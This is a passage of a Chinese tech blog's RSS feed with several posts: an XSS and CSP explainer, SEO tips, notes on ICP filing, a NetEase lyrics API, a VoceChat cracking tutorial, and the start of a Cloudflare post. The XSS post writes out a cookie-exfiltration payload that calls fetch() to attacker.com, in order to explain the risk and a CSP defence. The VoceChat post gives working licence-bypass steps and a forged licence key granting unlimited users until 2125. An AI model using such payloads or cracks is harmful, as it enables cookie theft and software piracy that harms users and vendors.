&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ad38bc52-e689-4923-b79c-894dc9ab4136.VoZEt3Tu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现在 &lt;code&gt;&amp;lt;span id=&quot;name&quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt; 中&lt;/p&gt;
&lt;p&gt;被插入了一条 &lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&apos;XSS攻击成功&apos;)&quot;&amp;gt;&lt;/code&gt; ！&lt;/p&gt;
&lt;p&gt;也就是说，网页并没有把我们传入的 &lt;code&gt;name&lt;/code&gt; 当作纯文本处理，&lt;/p&gt;
&lt;p&gt;而是直接把它插入成了 HTML。&lt;/p&gt;
&lt;p&gt;因此浏览器并不会把它渲染成普通文字，例如 &lt;code&gt;你好，&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&apos;XSS攻击成功&apos;)&quot;&amp;gt; ！&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而是会把 &lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&apos;XSS攻击成功&apos;)&quot;&amp;gt;&lt;/code&gt; 当作真正的 HTML 去执行。&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;src=x&lt;/code&gt; 一定无法成功加载，再加上元素设置了 &lt;code&gt;onerror&lt;/code&gt; 回调，&lt;/p&gt;
&lt;p&gt;浏览器就会直接执行 &lt;code&gt;alert(&apos;XSS攻击成功&apos;)&lt;/code&gt; 这段脚本。&lt;/p&gt;
&lt;h1&gt;有什么危害？&lt;/h1&gt;
&lt;p&gt;举一反三，既然我们能让浏览器弹出一个提示框&lt;/p&gt;
&lt;p&gt;那么同理，它也能被用来做更多危险操作。&lt;/p&gt;
&lt;p&gt;攻击者完全可以伪造一条URL，然后发给你，比如&lt;strong&gt;获取你的浏览器Cookie然后通过Fetch发送到指定的服务器&lt;/strong&gt;！！！
&lt;code&gt;https://victim-site.com/page?name=&amp;lt;img src=x onerror=&quot;fetch(&apos;https://attacker.com/log?cookie=&apos;+document.cookie)&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;如何设置CSP以避免这类攻击？&lt;/h1&gt;
&lt;p&gt;尝试访问这个URL，该URL设置了严格的CSP策略&lt;/p&gt;
&lt;p&gt;https://none-csp-demo.pages.dev/csp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&lt;/p&gt;
&lt;p&gt;你会发现并未弹出提示框，并且F12控制台出现报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2febeecf-6f54-4c6a-b775-ef2ac8598f37.DhUJsVxI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以下是GPT给出的翻译和解释&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;翻译：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;拒绝执行内联脚本，因为它违反了以下 CSP 指令：&lt;code&gt;script-src &apos;self&apos;&lt;/code&gt;。要允许执行内联脚本，必须使用 &lt;code&gt;&apos;unsafe-inline&apos;&lt;/code&gt; 关键字、指定哈希值（例如 &lt;code&gt;&apos;sha256-raHeKmhSLYgI2dPMTS+XHraijHkbV3RTs8np6RhiKqQ=&apos;&lt;/code&gt;），或使用随机数（例如 &lt;code&gt;&apos;nonce-...&apos;&lt;/code&gt;）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;解释：&lt;/strong&gt;&lt;br /&gt;
你的 CSP 策略里规定只能加载本域（&lt;code&gt;&apos;self&apos;&lt;/code&gt;）的脚本，但是你在 HTML 页面中写了 &lt;code&gt;&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt; 这样的&lt;strong&gt;内联脚本&lt;/strong&gt;（inline script）。这被当前 CSP 限制了，无法执行。&lt;/p&gt;
&lt;p&gt;这样就能有效阻止这类 XSS 攻击继续执行。&lt;/p&gt;
&lt;p&gt;在HTML head中添加以下内容即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;!-- 安全的 CSP 策略 --&amp;gt;
  &amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;
    default-src &apos;self&apos;;
    script-src &apos;self&apos;;
    object-src &apos;none&apos;;
    frame-ancestors &apos;none&apos;;
    base-uri &apos;self&apos;;
  &quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;如何保证我的数据安全？&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你正在运营网站，&lt;strong&gt;请尽量为站点设置严格的 CSP 策略&lt;/strong&gt;。这样即使页面存在 XSS 注入点，恶意脚本也更难真正执行。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不要随意点击来历不明的链接或扫描来源不明的二维码&lt;/strong&gt;。对于短链接或混淆链接，建议先解析出最终地址并评估风险后再访问；如果不确定，也可以优先使用无痕模式打开。因为目标网站未必配置了严格的 CSP，这可能进一步增加个人数据泄露的风险。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>如何提高网站的SEO？</title><link>https://2x.nz/posts/improve-seo/</link><guid isPermaLink="true">https://2x.nz/posts/improve-seo/</guid><description>很多人把网站做出来之后就不再维护了，但如果你希望搜索引擎更快收录并获得更好的排名，其实还有不少细节值得优化。</description><pubDate>Tue, 29 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;标题&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;title&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;不要重名&lt;/h3&gt;
&lt;p&gt;如果你的标题是中文，请尽量避免和任何知名事物重名。比如，不要叫 &lt;code&gt;树叶博客&lt;/code&gt;，而可以换成 &lt;code&gt;叶树博客&lt;/code&gt; 这种更容易区分的名字。&lt;/p&gt;
&lt;p&gt;搜索引擎通常会给知名事物更高的权重；如果你的站点名称恰好与之重名，用户就很难通过搜索结果准确找到你。&lt;/p&gt;
&lt;h3&gt;使用英文标题&lt;/h3&gt;
&lt;p&gt;比如 &lt;code&gt;AcoFork Blog&lt;/code&gt;、&lt;code&gt;afoim Blog&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;你可以尝试自创一个英文单词。和中文标题一样，最好也不要与知名事物重名。&lt;/p&gt;
&lt;p&gt;对于这类独特名称，搜索引擎更容易把它识别为一个独立品牌或独立站点。&lt;/p&gt;
&lt;p&gt;这样一来，用户只要直接搜索这个自创单词，比如 &lt;code&gt;AcoFork&lt;/code&gt;，大概率就能找到你的网站。&lt;/p&gt;
&lt;h3&gt;跨页面使用主标题锚定&lt;/h3&gt;
&lt;p&gt;一个网站大多数情况下都会有多个页面，比如主页、分类页、归档页等等。&lt;/p&gt;
&lt;p&gt;除了首页要展示你的主标题，其他页面也应尽量围绕这个主标题展开。&lt;/p&gt;
&lt;p&gt;例如，主页面标题为 &lt;code&gt;AcoFork Blog&lt;/code&gt;，那么副页面可以写成 &lt;code&gt;分类 - AcoFork Blog&lt;/code&gt;，或者：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AcoFork Blog - 分类&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;但请尽量不要只写一个 &lt;code&gt;分类&lt;/code&gt;。虽然在同一域名下，这未必会严重影响搜索引擎判断，但很可能会误导用户。&lt;/p&gt;
&lt;p&gt;例如，用户搜索你的网站时，排在前面的结果标题却只是一个 &lt;code&gt;分类&lt;/code&gt; 页面，看起来就会很奇怪。&lt;/p&gt;
&lt;h1&gt;言简意赅写明description&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;meta name=&quot;description&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;网站描述不要太短，也不要过长，更不能留空。&lt;/p&gt;
&lt;p&gt;我的网站简介是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客，专注于云原生、无服务器架构和前后端开发，作者为AcoFork/afoim/二叉树树&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;关键词&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;meta name=&quot;keywords&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现代搜索引擎基本已经不再重视这个字段，而且它也非常容易被滥用，所以通常不需要填写。&lt;/p&gt;
&lt;h1&gt;同内容网站只能有一个&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如无必要，请不要变更域名。也不要将其他域名指向您的站点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;假如我同时拥有 &lt;code&gt;acofork.com&lt;/code&gt; 和 &lt;code&gt;acofork.cn&lt;/code&gt;，并且都想指向同一个网站，该怎么处理？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请使用 301 重定向&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;否则你的 SEO 会受到影响，搜索引擎可能不会把这两个站点视为同一个站点。&lt;/p&gt;
&lt;p&gt;同时，最好确保这个域名今后只用于重定向。因为 301 重定向会在客户端留下长期缓存。&lt;/p&gt;
&lt;p&gt;客户端第一次访问时，服务器返回 301 状态码；之后很长一段时间里，客户端都可能不再请求原服务器，而是直接跳转到目标 URL。&lt;/p&gt;
&lt;p&gt;如果你以后还想把这个域名挪作他用，那最好一开始就不要把它长期用于 301 重定向；否则未来即使你切换了解析，也可能仍有一部分用户无法正常访问新服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决这个问题需要引导用户清除浏览器的本地缓存，非常麻烦&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;避免使用相同名字的云托管服务&lt;/h1&gt;
&lt;p&gt;比如 xLog。我曾经创建过一个 &lt;code&gt;acofork.xlog.app&lt;/code&gt; 站点，后来不再使用了。又因为 xLog 基于区块链，我还把私钥助记词弄丢了，结果现在谁也登不上去，自然也无法删除里面的内容。直到今天，它仍然在影响我主站的 SEO。&lt;/p&gt;
&lt;h1&gt;使用Lighthouse分析站点分数&lt;/h1&gt;
&lt;p&gt;Lighthouse 是一个常用的浏览器工具，可以分析站点的性能、无障碍、最佳实践等指标。&lt;/p&gt;
&lt;p&gt;你可以前往浏览器插件商店搜索 &lt;code&gt;Lighthouse&lt;/code&gt;，安装后进行测试。&lt;/p&gt;
&lt;p&gt;注意，最好在无痕模式下进行测试，以免其他浏览器插件影响 Lighthouse 的结果。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/579087ce-3a48-4390-8ba3-e42dea60135e.DVmM-sP_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对于每一项出现的问题，Lighthouse 都会给出相对明确的说明。你可以根据这些提示逐项优化自己的网站。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5174f53e-5c7f-49a9-86fc-ea6797975d59.DsKYOFe-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;接入必应网站管理员&lt;/h1&gt;
&lt;p&gt;前往 https://www.bing.com/webmasters&lt;/p&gt;
&lt;p&gt;接入站点后，必应爬虫会分析你的网站，并告知它是否适合出现在搜索结果中。&lt;/p&gt;
&lt;p&gt;同时，它也会从搜索引擎的视角指出一些潜在问题，你可以据此继续优化。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eabc21ac-c306-4165-afe0-1b9da3d2a179.Ru7ja3a1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/081682fd-2d05-4d3f-a191-1c0f5c9b624c.Bk6p038v.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;接入各大分析&lt;/h1&gt;
&lt;p&gt;你还可以把网站接入各种统计与分析平台。这样不仅方便查看流量，也能侧面体现这个站点正在被持续维护。&lt;/p&gt;
&lt;p&gt;百度统计： https://tongji.baidu.com/&lt;/p&gt;
&lt;p&gt;必应网站管理员： https://www.bing.com/webmaster/&lt;/p&gt;
&lt;p&gt;谷歌搜索控制台： https://search.google.com/&lt;/p&gt;
&lt;p&gt;谷歌分析： https://analytics.google.com/&lt;/p&gt;
&lt;p&gt;谷歌广告： https://www.google.com/adsense/&lt;/p&gt;
&lt;h1&gt;主动提交站点地图&lt;/h1&gt;
&lt;p&gt;尽管大多数搜索引擎都会主动探测 &lt;code&gt;/robots.txt&lt;/code&gt;、&lt;code&gt;/sitemap.xml&lt;/code&gt;、&lt;code&gt;rss.xml&lt;/code&gt;、&lt;code&gt;atom.xml&lt;/code&gt; 等路径来发现站点地图，但我仍然建议你主动提交一次。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/improve-seo-1.CjXaRw3p.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用IndexNow&lt;/h1&gt;
&lt;p&gt;以前，如果想提升网站的 SEO，我们往往只能被动等待搜索引擎爬虫来抓取内容。&lt;/p&gt;
&lt;p&gt;而 &lt;strong&gt;IndexNow&lt;/strong&gt; 允许网站主动向搜索引擎提交高质量内容。详见：&lt;a href=&quot;https://www.bing.com/indexnow&quot;&gt;Why IndexNow | Bing Webmaster Tools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你使用的是 Cloudflare CDN，这项能力基本可以开箱即用。只需要进入你的域名设置页面，依次打开 &lt;code&gt;缓存 -&amp;gt; 配置&lt;/code&gt;，启用 &lt;strong&gt;Crawler Hints&lt;/strong&gt; 即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/303b37e5-4104-4e2a-8a3b-bdb6094159e7.BvMPPoN1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>关于本站为什么不进行ICP备案</title><link>https://2x.nz/posts/why-not-icp/</link><guid isPermaLink="true">https://2x.nz/posts/why-not-icp/</guid><description>由于诸多原因，本站并未进行ICP备案，这里记录了一些原因</description><pubDate>Mon, 28 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;s&gt;目前已备案，该文章存档&lt;/s&gt;  被DDOS大肘子打回CF了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;违规内容&lt;/h1&gt;
&lt;p&gt;早期本站发布过文章 &lt;a href=&quot;/posts/bypass-gfw/&quot;&gt;点此查看&lt;/a&gt;
该文章不符合备案规范。曾尝试过备案被打回&lt;/p&gt;
&lt;h1&gt;域名不支持备案&lt;/h1&gt;
&lt;p&gt;ICP备案是针对于域名的，本人名下的 2x.nz 并不在ICP备案支持的域名后缀内&lt;/p&gt;
&lt;p&gt;所有支持备案的域名后缀请查看 https://domain.miit.gov.cn/&lt;/p&gt;
&lt;h1&gt;中国节点加速收效甚微&lt;/h1&gt;
&lt;p&gt;目前本站使用的CDN为Netlify CDN，Netlify采用AWS的IP，速度极快，在中国大陆可用性很高，延迟如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/96375c6a-f807-42b7-b1f0-33c0c7231037.miv_GspX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于本站为静态站，若进行备案可以直接使用EdgeOne Page中的中国大陆节点，延迟固然会更低，但是对比目前的速度收效甚微&lt;/p&gt;
&lt;h1&gt;备案步骤繁琐&lt;/h1&gt;
&lt;p&gt;若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式）&lt;/p&gt;
&lt;h1&gt;GFW未对本站进行SNI阻断&lt;/h1&gt;
&lt;p&gt;本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问&lt;/p&gt;
&lt;h1&gt;泉州等地区用户仅支持访问备案域？&lt;/h1&gt;
&lt;p&gt;本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流，暂时停用&lt;/p&gt;
&lt;p&gt;后续会进行修复并且重新恢复IP站点的运营&lt;/p&gt;
&lt;p&gt;已恢复 参见&lt;a href=&quot;/about/&quot;&gt;关于&lt;/a&gt;界面&lt;/p&gt;
&lt;h1&gt;后续是否会备案&lt;/h1&gt;
&lt;p&gt;可能。但是不会用做主要业务，更多是提高访问可达性，主站仍为未备案站。&lt;/p&gt;
&lt;p&gt;且如果备案后我需要管理两个内容分支（即无违规内容分支和原分支）我可能会放弃这么做&lt;/p&gt;
</content:encoded></item><item><title>网易云音乐歌曲时间戳获取</title><link>https://2x.nz/posts/wyy-timestrap/</link><guid isPermaLink="true">https://2x.nz/posts/wyy-timestrap/</guid><description>如果你需要歌词时间戳，且歌曲为网易云提供，那么获取它将无比简单</description><pubDate>Sat, 26 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们要获取一首歌的ID，如果你是App可以点击分享，然后 &lt;code&gt;复制链接&lt;/code&gt; 。如果是Web，直接复制浏览器地址栏&lt;/p&gt;
&lt;p&gt;你将得到类似这样的URL&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://music.163.com/#/song?id=29812004&amp;amp;uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中的 &lt;code&gt;id=29812004&lt;/code&gt; 中的值就是我们的歌曲ID&lt;/p&gt;
&lt;p&gt;接下来拼接URL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://music.163.com/api/song/media?id=29812004
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问就得到歌词时间戳啦&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;songStatus&quot;:1,&quot;lyricVersion&quot;:44,&quot;lyric&quot;:&quot;[by:月餖]\n[00:19.30]The clock stopped ticking forever ago\n\n[00:23.300]How long have I been up?\n[00:25.300]I don&apos;t know.\n[00:26.300]I can&apos;t get a grip,\n[00:28.300]But I can&apos;t let go\n[00:30.300]There wasn&apos;t anything\n[00:31.300]To hold onto though...\n[00:33.300]Why can&apos;t I see?\n[00:35.300]Why can&apos;t I see?\n[00:37.300]All the colors that you see?\n[00:40.300]Please, Can I be,\n[00:42.300]Please, Can I be\n[00:44.300]Colorful and free?\n[00:47.300]WHAT THE HELL&apos;S GOING ON?!\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\n[00:50.300]WHY, I&apos;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[00:53.300]I&apos;M black, THEN I&apos;M white!!\n[00:55.300]NO!!!\n[00:56.300]SOMETHING ISN&apos;T RIGHT!!\n[00:57.300]MY ENEMY&apos;S INVISIBLE, I DON&apos;T KNOW HOW TO FIGHT!!\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[01:04.300]WHEN I&apos;M UP AGAINST\n[01:05.300]THE ECHO IN THE MIRROR!!\n[01:08.300]ECHO!!\n[01:14.300]\n[02:23.300]I&apos;m gonna burn my house down,\n[02:27.300]Into an ugly black.\n[02:28.300]I&apos;m gonna run away, Now\n[02:31.300]And never look back.\n[02:32.300]I&apos;m gonna burn my house down,\n[02:34.300]Into an ugly black.\n[02:35.300]I&apos;m gonna run away, Now\n[02:37.300]And never look back.\n[02:39.300]I&apos;m gonna run away down,\n[02:41.300]I&apos;m gonna run away.\n[02:42.300]I&apos;m gonna run away, Now\n[02:44.300]I&apos;m gonna run away\n[02:53.300]I&apos;m gonna burn my house down.\n[02:54.300]And never look back.\n[02:56.300]And never look back.\n[02:58.300]AND NEVER LOOK BACK!!\n[02:59.300]WHAT THE HELL&apos;S GOING ON?!\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\n[03:03.300]WHY, I&apos;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:06.300]I&apos;M black, THEN I&apos;M white!!\n[03:08.300]NO!!!\n[03:08.300]SOMETHING ISN&apos;T RIGHT!!\n[03:10.300]MY ENEMY&apos;S INVISIBLE, I DON&apos;T KNOW HOW TO FIGHT!!\n[03:13.300]WHAT THE HELL&apos;S GOING ON?!\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\n[03:17.300]WHY, I&apos;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:20.300]I&apos;M black, THEN I&apos;M white!!\n[03:21.300]NO!!!\n[03:22.300]SOMETHING ISN&apos;T RIGHT!!\n[03:23.300]MY ENEMY&apos;S INVISIBLE, I DON&apos;T KNOW HOW TO FIGHT!!\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:31.300]WHEN I&apos;M UP AGAINST\n[03:32.300]THE ECHO IN THE MIRROR!!\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:37.300]WHEN I&apos;M UP AGAINST\n[03:39.300]THE ECHO IN THE MIRROR!!&quot;,&quot;code&quot;:200}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/4216b634-16a4-434a-9ea7-cf8170805437.DGq-XaZo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录人生中第一次破解软件！FKvocechat！</title><link>https://2x.nz/posts/fuck-vocechat/</link><guid isPermaLink="true">https://2x.nz/posts/fuck-vocechat/</guid><description>感兴趣的可以先去voce.chat购买一个Pro版本后再阅读此文~本文也是一个使用REST API通信的软件通用的破解教程</description><pubDate>Tue, 22 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前因&lt;/h1&gt;
&lt;p&gt;可以直接看 &lt;a href=&quot;https://info.php.afo.im/index.php/archives/12/&quot;&gt;记录被voce.chat坑了350 - 屮蛋Blog&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;正版激活的原理？&lt;/h1&gt;
&lt;p&gt;一般来说。大部分授权系的软件会将你的授权文件首先经过加密，然后发送到授权服务器，等待授权服务器返回一个正确的状态，然后激活&lt;/p&gt;
&lt;h1&gt;如何伪造这个正确的状态？&lt;/h1&gt;
&lt;p&gt;大部分软件的授权通信是通过后端进行的（但是vocechat不一样，它在前端🤣），我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态&lt;/p&gt;
&lt;p&gt;假如你发送一个有效的许可证，得到 &lt;code&gt;check: true&lt;/code&gt; 这个响应，同时软件本体显示 &lt;code&gt;已激活&lt;/code&gt; 。然后发送一个无效的许可证，得到 &lt;code&gt;check: false&lt;/code&gt; 这个响应，同时软件本体显示 &lt;code&gt;许可证无效&lt;/code&gt; 。那么我们可以非常简单的去破解，只需要让对方服务器无论对软件发送的任意许可证都返回 &lt;code&gt;check: true&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;这涉及到响应体修改，需要使用第三方软件，推荐 &lt;code&gt;BurpSuite&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值，会返回一串密文，然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源，后续的一系列操作就看你造化了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正片，怎么破解VoceChat？&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;不需要你有一个正版许可证，因为我花350买了😭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;部署完毕VoceChat后，进入授权界面开启浏览器的DevTools，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/df39698c-7a0f-4eda-9b74-47cec05faaf2.YD-g1sU7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置你的 &lt;code&gt;BurpSuite&lt;/code&gt; 软件，全局替换 &lt;code&gt;&quot;sign&quot;: false&lt;/code&gt; 为 &lt;code&gt;&quot;sign&quot;: true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/5d34cbe2-08e9-40ea-95e4-64c976d5de9b.BiJcMyC8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击手动更新，上传如下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后你就能得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/07686efa-5646-4116-bb96-c2d856b4811e.Cp2XWSM-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;原理剖析&lt;/h1&gt;
&lt;p&gt;VoceChat是前端验证（没绷住），刚才给你们的内容是一个经过base58编码后的内容，解码后为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一共有4个字段&lt;/p&gt;
&lt;p&gt;&lt;code&gt;*&lt;/code&gt; 即被授权的域名，这里填 &lt;code&gt;*&lt;/code&gt; 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 &lt;code&gt;*&lt;/code&gt; 改为你正在用VoceChat的域名即可&lt;/p&gt;
&lt;p&gt;&lt;code&gt;999999&lt;/code&gt; 为用户数限制，前端会显示为 &lt;code&gt;No Limit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2025-07-16T12:00:03.675696030+00:00&lt;/code&gt; 为授权开始日期&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2125-07-16T00:00:00+00:00&lt;/code&gt; 为授权结束日期&lt;/p&gt;
&lt;p&gt;&lt;code&gt;266c***975&lt;/code&gt; 似乎是一个验证码，类似身份证的最后一位验证位，但是貌似不起作用😂&lt;/p&gt;
&lt;h1&gt;那我花350买的授权谁给我补啊🤣&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/7fd942fe-da57-4496-8b85-e5db6057705b.Bunssquh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>国内对象存储免流量费？Cloudflare带宽联盟究竟是什么？</title><link>https://2x.nz/posts/cloudflare-bandwidth-alliance/</link><guid isPermaLink="true">https://2x.nz/posts/cloudflare-bandwidth-alliance/</guid><description>Cloudflare带宽联盟是一个多云服务商联合构建的服务体系，在指定的云服务商中，如果流量通过Cloudflare路由则不收取流量费用，用户仅需要支付存储费用</description><pubDate>Mon, 21 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么&lt;/h1&gt;
&lt;p&gt;Cloudflare带宽联盟（Bandwidth Alliance） 由一群具有前瞻性思维的云服务和网络公司组成，致力于为共同客户降低或免除数据传输（带宽）费用。&lt;/p&gt;
&lt;p&gt;人话：你买的阿里云OSS，腾讯云COS套上CF就可以免流量费&lt;/p&gt;
&lt;h1&gt;具体哪些服务支持免流量费？&lt;/h1&gt;
